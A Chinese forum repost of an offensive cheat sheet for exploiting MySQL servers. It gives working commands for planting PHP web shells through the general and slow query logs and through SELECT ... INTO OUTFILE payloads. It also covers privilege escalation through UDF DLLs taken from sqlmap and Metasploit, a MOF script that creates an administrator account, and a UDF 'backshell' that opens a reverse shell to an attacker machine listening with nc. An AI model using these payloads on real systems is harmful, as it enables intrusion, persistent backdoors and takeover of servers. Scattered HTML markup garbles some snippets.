本帖最后由 sandalwood 于 2022-3-21 18:43 编辑
原文链接:【数据库利用姿势①】MySQL数据库利用姿势
前段时间分享了某个大佬的数据库利用工具,应粉丝要求更新一下各个数据库的利用姿势,目前整理了一部分(欢迎大佬们一起补充!),由于一些不可抗力的因素(太懒),更新可能会慢一些,还请谅解 多数来源于平时的笔记,部分收集于网络上的前辈们!
0x01 开启全局日志GetShell
前提条件: Web 文件夹宽松权限可以写入 Windows 系统下 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell - show variables like 'general_log'; 查看日志是否开启
- set global general_log=on; 开启日志功能
- show variables like 'general_log_file'; 查看日志文件保存位置
- set global general_log_file='D:/phpStudy/WWW/shell.php'; 设置日志文件保存位置
- show variables like 'log_output'; 查看日志输出类型 table或file
- set global log_output='table'; 设置输出类型为 table
- set global log_output='file'; 设置输出类型为file
- SELECT'<?php assert($_POST["YB666"]);?>'; 通过日志来写入一句话
复制代码
查看日志是否开启,如上所示未开启状态!
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span> <span class="code-snippet__keyword">global</span> general_log=<span class="code-snippet__keyword">on</span>; <span class="code-snippet__comment">-- 开启日志功能</span></span></code></li></ul>
复制代码- show variables like 'general_log_file'; 查看日志文件保存位置
复制代码- show variables like 'log_output'; 查看日志输出类型 table或file
复制代码
知道路径之后设置日志文件保存位置写shell
设置日志文件保存位置
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span> <span class="code-snippet__keyword">global</span> general_log_file=<span class="code-snippet__string">'D:/phpStudy/WWW/shell.php'</span>; //设置日志文件保存位置</span></code></li></ul>
复制代码
设置成功后会看到shell.php空文件
写入一句话:
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer">SELECT'<span class="code-snippet__meta"><?php</span> assert($_POST[<span class="code-snippet__string">"YuBai"</span>]);<span class="code-snippet__meta">?></span>';</span></code></li></ul>
复制代码
通过日志成功写入shell
大菜刀连接········
0x02 利用慢查询日志写shell原理:
慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">show</span> <span class="code-snippet__keyword">global</span> <span class="code-snippet__keyword">variables</span> <span class="code-snippet__keyword">like</span> <span class="code-snippet__string">'%long_query_time%'</span>;</span></code></li></ul>
复制代码
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。Testing:
利用phpStudy打开MySQL命令行:
- set global variables like '%long_query_time%';
- show variables like '%slow_query_log%';
复制代码
执行下面操作,修改slow_query_log的值,在查询语句中写入一句话木马并延时10秒以上:
- set global slow_query_log = "ON";
- set global slow_query_log_file ='D:/phpStudy/WWW/0_book/tmp/shell.php';
- select "<?php @eval($_POST['cmd']); ?>" or sleep(11);
复制代码
大菜刀连接! 这里本地测试的时候有个小问题就是双引号会报错,单引号没有问题。 我太菜了不知道为啥这个酱紫-.- 欢迎师傅们帮我指出问题所在
0x03 UDF提权 自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
动态链接库
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具sqlmap和Metasploit 里面都自带了对应系统的动态链接库文件。
sqlmap的UDF动态链接库文件位置
- sqlmap根目录/data/udf/mysql/windows/64or32
复制代码
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用sqlmap自带的解码工具cloak.py来解码使用,cloak.py 的位置为:
sqlmap根目录/extra/cloak/cloak.py
解码方法如下:
解码32位的windows动态链接库:
- python cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
复制代码
其他linux和windows动态链接库解码类似或者直接使用metasploit自带的动态链接库,无需解码。
Metasploit的UDF动态链接库文件位置
接下来可以使用如下的 SQL 语句来查询,把 UDF 的动态链接库文件放到 MySQL 的插件目录下
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">show</span> <span class="code-snippet__keyword">variables</span> <span class="code-snippet__keyword">like</span><span class="code-snippet__string">'%plugin%'</span>;</span></code></li></ul>
复制代码
写入动态链接库
当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的
- select load_file('D:\metasploit-framework\embedded\framework\data\exploits\mysql\lib_mysqludf_sys_32.dll') into dumpfile 'D:\phpStudy\MySQL\lib\plugin\udf.dll';
复制代码
创建自定义函数并调用命令
创建自定义函数
- <p></p><pre><code><span class="code-snippet_outer"></span></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">FUNCTION</span> sys_eval <span class="code-snippet__keyword">RETURNS</span> <span class="code-snippet__keyword">STRING</span> <span class="code-snippet__keyword">SONAME</span> <span class="code-snippet__string">'udf.dll'</span>;</span></code></li></ul></section>
复制代码
查看是否新增了sys_eval
接着就可以通过创建的这个函数来执行系统命令了:
删除自定义函数
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__keyword">drop</span> <span class="code-snippet__keyword">function</span> sys_eval;</span></code></li></ul>
复制代码 如果MySql在内网情况下,无法直连Mysql或者Mysql不允许外连,这个时候,可以使用一些网页脚本,比如udf.php,一键dump udf 。
而自己却遇到了这种情况
在网上找了一下原因
这就明白为啥这个酱紫了。
0x04 MOF提权 MOF提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
严苛的前提条件:
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
提权过程:
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
利用代码如下(test.mof):
- #pragma namespace("\\\\\\\\.\\\\root\\\\subscription")
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = "Root\\\\Cimv2";
- Name = "filtP2";
- Query = "Select * From __InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new ActiveXObject(\"WScript.Shell\")\\nWSH.run(\"net.exe user hpdoger 123456 /add\")\\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
复制代码
MOF文件利用:
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下
- select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
复制代码
关于MOF提权弊端 我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd下运行下列命令:
- #停止winmgmt服务
- net stop winmgmt
- #删除 Repository 文件夹
- rmdir /s /q C:\\Windows\\system32\\wbem\\Repository\\
- # 手动删除 mof 文件
- del c:/windows/system32/wbem/mof/nullevt.mof /F /S
- # 删除创建的用户
- net user hpdoger /delete
- #重启服务
- net start winmgmt
复制代码
0x05 反弹端口提权
与udf提权方式一样,只是这里的动态链接库被定制过的,功能更多更实用一些:
- cmdshell 执行cmd;
- downloader 下载者,到网上下载指定文件并保存到指定目录;
- open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
- backshell 反弹Shell;
- ProcessView 枚举系统进程;
- KillProcess 终止指定进程;
- regread 读注册表;
- regwrite 写注册表;
- shut 关机,注销,重启;
- about 说明与帮助函数;
复制代码
该动态链接库下载地址: udf.dll
后台可回复关键字"UDF"获取 下面用这个udf.dll来反弹shell 首页在攻击机192.168.8.14上开启nc监听
该动态链接库下载地址: udf.dll. 下面用这个udf.dll来反弹shell 首页在攻击机192.168.8.14上开启nc监听
然后目标机器上导入 dll 动态链接库,然后创建自定义函数:CREATE
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__attribute">FUNCTION</span> backshell RETURNS STRING SONAME <span class="code-snippet__string">'udf.dll'</span>;</span></code></li></ul>
复制代码
执行反弹shell
- <ul class="code-snippet__line-index code-snippet__js"><li><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">select</span> <span class="code-snippet__title">backshell</span>(<span class="code-snippet__params"><span class="code-snippet__string">"192.168.8.14"</span>,<span class="code-snippet__number">2333</span></span>)</span>;</span></code></li></ul>
复制代码
攻击机上查看已建立连接。
UDF和MOF提权内容收集自作者:Big&Bird
原文链接:https://blog.csdn.net/guo15890025019/article/details/119269796
0x06 union select 写入shell注意:
- 在windows下,位置的分隔符为 /(斜杠)
- union select 1,2,3,4,'<?php phpinfo(); ?>' into outfile 'D:/phpStudy/WWW/shell.php'
- union select 1,2,3,4,'<?php phpinfo(); ?>' into dumpfile 'D:/phpStudy/WWW/shell.php'
复制代码
0x07 into outfile写shell
前提条件: - 知道网站物理路径
- 高权限数据库用户
- load_file() 开启 即 secure_file_priv 无限制
- 网站路径有写入权限
首先基础语法查询是否 secure_file_priv 没有限制
- NULL 不允许导入或导出
- /var 只允许在/var目录导入导出
- 空 不限制目录
复制代码
注意:
- 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
- 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下则不可以写文件
复制代码 如果满足上述所有条件的话,那么就可以尝试使用下面的 SQL 语句来直接写 shell:
查看目标路径下,已成功写入YuBai.php文件。大菜刀连接·······
0x07 lines terminated by 写入shellPAYLOAD:
- into outfile 'D:/phpStudy/WWW/shell.php' lines terminated by '<?php phpinfo(); ?>';
- limit 1 into outfile 'D:/phpStudy/WWW/shell.php' lines terminated by '<?php phpinfo(); ?>';
复制代码
0x08 lines starting by 写入shell
PAYLOAD:
- into outfile 'D:/phpStudy/WWW/shell.php' lines starting by '<?php phpinfo(); ?>';
- limit 1 into outfile 'D:/phpStudy/WWW/shell.php' lines starting by '<?php phpinfo(); ?>';
复制代码
0x09 fields terminated by 写入shellPAYLOAD:
- into outfile 'D:/phpStudy/WWW/shell.php' fields terminated by '<?php phpinfo(); ?>';
- limit 1 into outfile 'D:/phpStudy/WWW/shell.php' fields terminated by '<?php phpinfo(); ?>';
复制代码
0x10 COLUMNS terminated by 写入shellPAYLOAD:
- into outfile 'D:/phpStudy/WWW/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>';
- limit 1 into outfile 'D:/phpStudy/WWW/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>';
复制代码
文中所用到的工具后台可回复关键字"UDF"获取
|